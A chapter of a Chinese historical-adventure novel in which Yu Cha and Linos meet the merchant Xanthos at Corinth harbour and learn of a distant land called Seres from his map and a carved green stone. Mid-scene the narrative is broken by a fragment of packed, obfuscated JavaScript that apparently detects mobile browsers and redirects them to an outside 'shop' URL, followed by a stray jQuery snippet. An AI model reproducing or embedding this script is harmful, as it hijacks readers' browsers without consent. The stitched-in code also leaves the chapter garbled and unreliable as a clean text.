离开科林斯之前,还有一件事要做。
第二天早晨,余茶站在提玛瑞特那座空荡荡的小庙门口,看着太阳从海面上升起。金色的光芒洒在橄榄林上,把每一片叶子都染成暖黄色。利诺斯坐在庙前的石阶上,啃着一块干饼,脚边放着两个人的包袱。
“你确定要先去港口?”他问。
余茶点头。
“普罗克洛斯说的那个人,克珊托斯。他每年夏天在科林斯港停留,卖掉他从东方带来的货物。”她从怀里掏出那枚陶片,在手里转了转。
利诺斯站起身,拍了拍手上的饼屑。
“那走吧。早点去,早点完事。萨摩斯还远着呢。”
---
科林斯港依旧热闹的港口,比雅典的比雷埃夫斯更拥挤,更嘈杂。来自希腊各地的船只挤满了码头,桅杆像一片光秃秃的森林。空气中混杂着海水的咸腥、货物的霉味、香料的气息,还有码头奴隶搬运货物时发出的吆喝声。
余茶和利诺斯穿过人群,向东侧码头走去。
东侧码头比西侧安静一些。这里停的大多是远道而来的商船,船身比希腊本地船更大,船头画着奇怪的符号,有的还挂着五颜六色的帆。水手们穿着异国的衣服,说着听不懂的语言,蹲在船边修补渔网,或者搬运一箱箱沉重的货物。
利诺斯一边走一边看,嘴里念叨着:“腓尼基人……埃及人……那个是吕底亚的……那个是……”
“你怎么知道?”余茶问。
“看船就知道了。”利诺斯指着不远处一艘船,“你看那艘,船头尖尖的,帆是方的,那是腓尼基人的船。他们跑得最远,被称为‘最伟大的航海商人’,听说到过大海的另一边。”
余茶顺着他指的方向看去。那是一艘暗色的船,船身又长又窄,像一条黑色的鱼。
“紫色的船在哪里?”
利诺斯四处张望,然后忽然停住脚步。
“那边。”
余茶顺着他的目光看去。
在东侧码头的最尽头,停着一艘颜色奇特的船。不是那种鲜艳的紫,而是深沉的、接近暗红的紫,像熟透的桑葚,又像某种矿石研磨成的颜料。船身比周围的商船都大,船头雕刻着一只张开翅膀的鸟——不是希腊常见的鹰,而是一种她不认识的鸟,长长的尾巴,弯弯的喙。
“那就是了。”余茶轻声说。
他们走到那艘船旁边。甲板上空无一人,只有几个水手蹲在船尾整理渔网。利诺斯上前一步,用希腊语喊了一声:
“请问克珊托斯在吗?”
一个水手抬起头,看了他们一眼,又低下头继续干活。
利诺斯又喊了一遍。这次用的是另一种语言——余茶听不出来是什么,但那个水手抬起头,这次认真看了他们一眼。
他站起身,走进船舱。片刻后,一个中年男人从船舱里走出来。
他五十来岁,皮肤晒得黝黑,脸上的皱纹像地图上的河流。穿着一件深色的长袍,样式不是希腊的——没有那么多褶皱,更像是用一整块布裹在身上。腰间系着一条宽宽的皮带,皮带上挂着一把短刀,刀柄上镶着一颗暗红色的宝石。
他的眼睛是深褐色的,看人的时候很慢,很稳,像在掂量什么。
“谁找我?”他问。希腊语说得很慢,带着浓重的口音,但每一个字都很清楚。
余茶上前一步。
“普罗克洛斯让我来的。”
克珊托斯的眉毛微微一动。
“普罗克洛斯?萨摩斯的那个小老头?”
余茶点头。她从怀里取出普罗克洛斯给的那块陶片——上面刻着一圈她看不懂的符号,但普罗克洛斯说,克珊托斯认得这个。
克珊托斯接过陶片,对着阳光看了很久。然后他抬起头,看着余茶。
“上船说话。”
---
船舱里堆满了货物。一箱箱埃及的香料,一捆捆来自科斯岛的布料,几个陶罐里装着的不知道什么东西,还有一只笼子里关着两只羽毛鲜艳的鸟。
克珊托斯在一只木箱上坐下,示意余茶和利诺斯也坐。
“普罗克洛斯是我二十年的老朋友。”他说,“他让我帮忙的人,我帮。”
余茶把那叠临摹的古老符号拿出来,递给他。
克珊托斯一张一张地看,眉头越皱越紧。
“这是从哪儿来的?”
“科林斯地下的一个山洞。”余茶说,“我想知道,这些符号指向的到底是哪里?”
克珊托斯沉默了很久。
他把那些莎草纸放在一边,从身后的木箱里取出一个小小的布包。打开,里面是一块巴掌大小的石片,上面刻着一幅简陋的地图。
“这是我自己画的。”他说,“我跑了三十年的船,到过的地方都记在上面。”
余茶凑过去看。地图很粗糙,但她能认出一些形状——希腊半岛,小亚细亚的海岸线,塞浦路斯,埃及。再往东,是一片模糊的区域,克珊托斯在上面画了几个点,标着一些她看不懂的文字。
“这是哪儿?”她指着最东边的一个点。
“波斯。”克珊托斯说,“波斯帝国。苏萨,波斯波利斯——那些大城市。”
余茶的手指又往东移了一点。
“这里呢?”
克珊托斯看了她一眼。
“没人去过。至少我没听说过有希腊人去过。”
“那有谁去过?”
克珊托斯沉默了一瞬。
“巴克特里亚人。还有更东边的,那些叫不出名字的人。他们有时候会带着货到波斯来卖,用一些——”他指了指船舱里的丝绸,“——石头。”
他从箱子里拿出一个小小的布袋,打开,里面是一块拇指大小的石头。墨绿色的,半透明,上面刻着一只盘曲的动物。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253192|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>余茶的手指微微颤抖。那动物——独足,张口,夔龙纹。
和科林斯山洞里那扇青铜门里铜镜的纹样一模一样。
“这是从哪儿来的?”
“一个巴克特里亚商人卖给我的。”克珊托斯说,“他说这是从更东边带来的,运气好的话要走一年的路,路上要经过魔鬼住着的沙漠。那里有一座很大的城,城墙是土做的,宫殿是木头和石头盖的,那地方的人身材高大,寿命极长,并且能够生产羊毛般的丝织物,比科斯岛的更精美细腻,而且他们和传说中的米诺斯人一样,可以打造极为精美的铜器,还有雕刻特别纹样的石头。他说那地方叫——”
他顿了顿,努力回忆那个陌生的发音。
“赛里斯。”
余茶的心跳几乎停止。
“赛里斯,古中国的称谓。”
“有人去过吗?”
克珊托斯摇头。
“没有。太远了。路上全是波斯人,全是听不懂的话,全是没见过的东西,很容易死在路上。就算有命到了,也不知道怎么回来。”
他看着余茶。
“你想去?”
余茶沉默了一瞬。
“不知道。但我想知道,那里有什么。”
克珊托斯把那些莎草纸还给她。
“我帮不了你去那里。但我可以告诉你,如果你想去,该往哪个方向走。”
他指着地图上最东边的那个点。
“从这里上岸,往东走。穿过波斯,穿过巴克特里亚,一直走,走到雪山脚下。翻过雪山,再走半年,就到了。”他顿了顿,“我是听说的。没人真的走过。”
余茶盯着那张地图,把每一条线都记在心里。
“谢谢你。”
克珊托斯摆了摆手。
“不用谢。普罗克洛斯的朋友就是我的朋友。”他看着余茶,目光里带着一种奇怪的东西,“但你得知道一件事——那些地方,那些东西,不是随便什么人都能碰的。我见过的,从东边来的那些商人,他们眼睛里有一种……怎么说呢?像见过什么不该见的东西。”
余茶没有说话。
她摸了摸手里的陶片,边缘硌着她的掌心。
---
离开港口的时候,太阳已经开始西斜。
利诺斯走在前面,回头看了她一眼。
“你真想去那个什么赛里斯?”
余茶没有回答。
利诺斯叹了口气。
“算了,我不问了。先把你弄到萨默斯再说。”
他们向城外走去。身后,科林斯港的喧嚣渐渐远去。
那艘紫色的船静静地停靠在东侧码头,像一个沉默的信使,带来了远方的消息。
余茶回头看了一眼。
船头那只张开翅膀的鸟,在夕阳下泛着金色的光。
她转过身,跟着利诺斯,走向通往萨摩斯的路。